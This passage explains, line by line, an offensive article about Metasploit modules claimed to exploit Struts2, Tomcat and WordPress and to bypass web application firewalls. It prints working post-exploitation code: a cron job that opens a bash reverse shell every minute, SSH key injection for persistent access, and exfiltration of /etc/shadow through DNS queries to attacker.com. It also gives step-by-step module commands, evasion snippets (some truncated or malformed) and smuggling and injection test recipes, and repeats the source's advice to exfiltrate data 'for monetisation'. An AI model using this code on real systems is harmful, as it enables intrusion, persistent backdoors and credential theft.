/etc/passwd lists user accounts; /etc/shadow holds the password hashes, which is why it is a valuable target.
Step 7: The documented workflow
The article gives a four-step workflow. First, load all modules:
msfconsoleload /path/to/apache_struts2_rce.rbload /path/to/tomcat_rce.rbload /path/to/wordpress_rce.rbload /path/to/cloudflare_bypass_scanner.rbload /path/to/exploit_chainer.rb
This starts the console and loads each file in turn, so all five modules are available in one session.
Second, scan:
use auxiliary/scanner/http/cloudflare_bypass_scannerset RHOSTS target.comset TARGETURI /run
use auxiliary/scanner/http/cloudflare_bypass_scannerselects the scanner module.set RHOSTS target.comsets the target host.set TARGETURI /sets the path.runstarts the scan.
Third, run a chain:
use auxiliary/exploit/exploit_chainerset RHOSTS target.comset LHOST YOUR_IPset LPORT 4444set EXPLOIT_CHAIN struts2 run
use auxiliary/exploit/exploit_chainerselects the chainer.set RHOSTS target.comsets the target.set LHOST YOUR_IPsets the attacker's address (a placeholder you replace).set LPORT 4444sets the port to listen on.set EXPLOIT_CHAIN struts2chooses which chain to run.runstarts it.
Fourth, post-exploitation checks:
whoamiuname -acat /etc/shadowps aux | grep root
whoamiprints the current user name.uname -aprints details about the operating system and kernel.cat /etc/shadowprints the password hash file.ps aux | grep rootlists running processes and filters for ones owned by root.
Step 8: Detection evasion and post-exploitation helpers
The article lists evasion ideas: randomised User-Agent selection from Chrome, Firefox and Safari; URL-safe base64 encoding; chunked transmission; and process injection. The User-Agent header tells a server which browser you are using; varying it makes traffic look less automated. The snippets as printed are truncated or malformed, for example:
headers = { ‘User-Agent’ => [‘Chrome’, ‘Firefox’, ‘Safari’].sample + “/}
Base64.strict_encode64(data).gsub(‘+’, ‘-’).gsub(‘/’, ‘_’).gsub(‘=’, ‘’)
chunks = encoded.chars.each_slice(chunk_size).map(&:join)
def inject_payload(pid) payload = “bash -c ‘bash -i >& /dev/tcp/#{datastore[‘LHOST’]}/ system(“gdb -p end
- The first picks a random browser name from a list and tries to build a header, but the string is cut off.
- The second base64-encodes data and replaces
+,/and=with URL-safe characters, a common trick for hiding data in URLs. - The third splits a string into fixed-size pieces, the basis of chunked transmission.
- The fourth is meant to attach to a running process with
gdb, a debugger, but is incomplete.
Three post-exploitation modules are given. Persistence installs a cron entry that opens a reverse shell every minute. Cron is the Linux scheduler: it runs commands on a timetable.
def install_backdoor
payload = "bash -c 'bash -i >& /dev/tcp/#{datastore['LHOST']}/#{datastore['LPORT']} 0>&1'"
system("(crontab -l 2>/dev/null; echo \"* * * * * #{payload}\") | crontab -")
end
payloadis a shell command that opens an interactive shell and connects it to the attacker's host and port.crontab -llists the current user's scheduled jobs;2>/dev/nullhides any error if there are none.echo "* * * * * ..."prints a new job line. The five stars mean "every minute".| crontab -feeds the combined list back intocrontab, installing the new job.
Lateral movement appends the local public key to authorized_keys. SSH is the encrypted remote-login protocol; authorized_keys is the file listing public keys that may log in without a password.
def inject_ssh_key
key = File.read('~/.ssh/id_rsa.pub')
system("mkdir -p ~/.ssh && echo '#{key}' >> ~/.ssh/authorized_keys")
end
File.read('~/.ssh/id_rsa.pub')reads the attacker's public key.mkdir -p ~/.sshmakes sure the folder exists.echo '#{key}' >> ~/.ssh/authorized_keysappends the key to the list, so the attacker can log in later.
Data exfiltration reads /etc/shadow and sends it base64-encoded in a DNS query. DNS queries are often allowed out of networks even when other traffic is blocked, so they can be used as a covert channel.
def exfiltrate_shadow
shadow = File.read('/etc/shadow')
encoded = Base64.strict_encode64(shadow)
system("dig #{encoded}.attacker.com")
end
File.read('/etc/shadow')reads the password hash file.Base64.strict_encode64(shadow)encodes it as text.dig <encoded>.attacker.comasks DNS to look up a name made of that text, so the data travels to the attacker's DNS server.
Step 9: Smoke test results
A smoke test is a quick check that something basically works. The article reports that every module passed: Struts2 against 2.5.30 and above, Tomcat against 9.0.70 and above and WordPress against 6.2 and above each returned a reverse shell; the scanner detected all techniques; and the chainer achieved full compromise. The author's final notes claim all exploits are their own proof of concept, all listed WAFs were bypassed, and the modules are ready for red team operations. Red teaming is authorised simulated attack work. Recommended next steps are lateral movement with stolen credentials, persistence via backdoors, and data exfiltration for monetisation.
Root cause
The article does not identify a specific defect in Struts2, Tomcat or WordPress source code. Its root-cause argument is about the exploit tooling and the assumptions around it: the author contends that the rce.rb script behaves differently in the wild from how it is defined, and that treating legacy vulnerabilities and their scripts as solved problems leads defenders to stop examining how they adapt. The bypass techniques listed are request smuggling via Transfer-Encoding: chunked, WebSocket connections that sidestep HTTP restrictions, DNS rebinding after TTL expiry, AJP protocol abuse, WordPress XML-RPC and OGNL injection. Why existing defences did not stop these is not demonstrated with captured traffic; the article asserts the bypasses worked and reports the smoke tests as passing.
Impact
The claimed impact is remote code execution on Struts2 2.5.30 and above, Tomcat 9.0.70 and above and WordPress 6.2 and above installations, with a reverse TCP shell. The article also includes helper code for privilege escalation, persistence, lateral movement and exfiltration of /etc/passwd and /etc/shadow. The author states the modules bypass Cloudflare, AWS WAF, Akamai, ModSecurity, Sucuri and Wordfence depending on the module. These are the author's claims; the article does not include independent verification, and the CVEs are presented as zero-days without vendor confirmation.
Fix
The article does not describe a patch or a vendor response. Its closing argument is defensive in spirit: look beyond standard signatures and understand the true mechanics of a payload rather than relying on the assumption that legacy vulnerabilities are solved. No specific remediation for the three products is given.
Variants to test
- HTTP/2 smuggling against other CDNs. Send a chunked POST whose body ends the chunk with
0\r\n\r\nfollowed by a second request for an admin path. A positive result is a 200 whose body containsadmin. - WebSocket hijacking. Open a WebSocket to the fronted host, send a raw HTTP request for a random path, and check whether the first read contains
200 OK. A positive result means the socket is passing raw HTTP through the edge. - AJP smuggling. Send the binary AJP forward request with the
0x12 0x34magic and a/adminor/shell.jsURI to a Tomcat front end. A positive result is a 200 response from the AJP listener. - XML-RPC pingback. Post a
pingback.pingcall pointing at a listener you control and a random target path. A positive result is a 200 whose body containspingback. - DNS rebinding. Resolve the target, wait for the TTL, then send a request with
Host: [redacted]. A positive result is a 200 from an internal service. - OGNL injection. Submit an expression that sets
allowStaticMethodAccessand starts aProcessBuilderas thenameparameter of a Struts2 action. A positive result is command output in the response body. - PHP object injection. Post a serialised object with a controlled property to
admin-ajax.phpwith an action such asparse-media. A positive result is a 200 response.
Glossary
- AJP: A binary protocol that Apache Tomcat uses to talk to a front-end web server; less commonly inspected than HTTP.
- API: A defined way for one program to ask another program to do something, like a service counter with set forms.
- Base64: An encoding that turns binary data into plain letters and digits so it can travel as text.
- Bypass: A way of shaping a request so a filter lets it through while the server behind still acts on it.
- CDN: A content delivery network, a set of servers spread around the world that sit in front of a site and pass traffic through.
- Chunked encoding: An HTTP feature where the body is sent in numbered pieces, ending with a zero-length chunk.
- Cloudflare: A popular service that sits in front of websites and filters traffic.
- Cookie: A small piece of data a website stores in your browser to remember who you are between requests.
- Cron: The Linux scheduler that runs commands on a timetable.
- CVE: A public catalogue number for a known security flaw.
- DNS: The internet's phone book; it turns names like example.com into numeric IP addresses.
- DNS rebinding: Changing what a name resolves to after its time to live expires, so a later request reaches a different, often internal, machine.
- Exfiltration: Copying data out of a system without permission.
- HTTP: The protocol browsers and servers use to exchange web pages and form data.
- HTTP/2: A newer version of HTTP that can carry several requests over one connection.
- Injection: When untrusted input is interpreted as code instead of plain text.
- IP address: The numeric address of a machine on a network.
- Kernel: The core part of an operating system that manages hardware and processes.
- Lateral movement: Moving from one compromised machine to others on the same network.
- Loopback address:
[redacted], which always means "this same machine". - Metasploit: A free framework of security testing tools, each called a module.
- MIT Licence: A permissive open-source licence that allows reuse with few conditions.
- ModSecurity: An open-source web application firewall.
- Module: A single tool inside Metasploit that targets one specific weakness.
- OGNL: An expression language used inside Java applications, including Struts2.
- Payload: The code or command an exploit delivers to a victim.
- PHP object injection: Tricking a PHP program into rebuilding an object from attacker-controlled serialised text.
- Port: A numbered door on a computer through which a particular service listens.
- Privilege escalation: Going from a low-power account to a more powerful one, such as root.
- Process injection: Attaching code to a running program so it executes inside that program.
- Proof of concept (PoC): A small demonstration that a weakness can be exploited.
- Red team: Authorised simulated attackers who test an organisation's defences.
- Remote code execution (RCE): Running your own commands on someone else's machine.
- Reverse shell: A command prompt on the victim that connects out to the attacker.
- Root: The all-powerful administrator account on Linux.
- Ruby: The programming language Metasploit modules are written in.
- Serialisation: Turning a program's object into text so it can be stored or sent.
- Smoke test: A quick check that something basically works.
- SSH: The encrypted protocol for remote login to another machine.
- Stager: A small helper program an exploit delivers first, which then fetches the main payload.
- Struts2: A Java web framework used to build web applications.
- TCP: The core internet protocol that carries reliable, ordered connections.
- Time to live (TTL): How long a DNS answer may be cached before it must be looked up again.
- Tomcat: A Java web server.
- User-Agent: A request header that tells a server which browser or program is making the request.
- WAF (web application firewall): A filter that inspects web traffic and blocks requests that look malicious.
- WebSocket: A two-way connection a browser can open to a server, often used for live updates.
- WordPress: The most widely used website-building software.
- XML: A text format for structured data.
- XML-RPC: An older WordPress feature that lets other programs talk to a site.
- Zero-day: A weakness the vendor has not yet fixed and the public did not know about.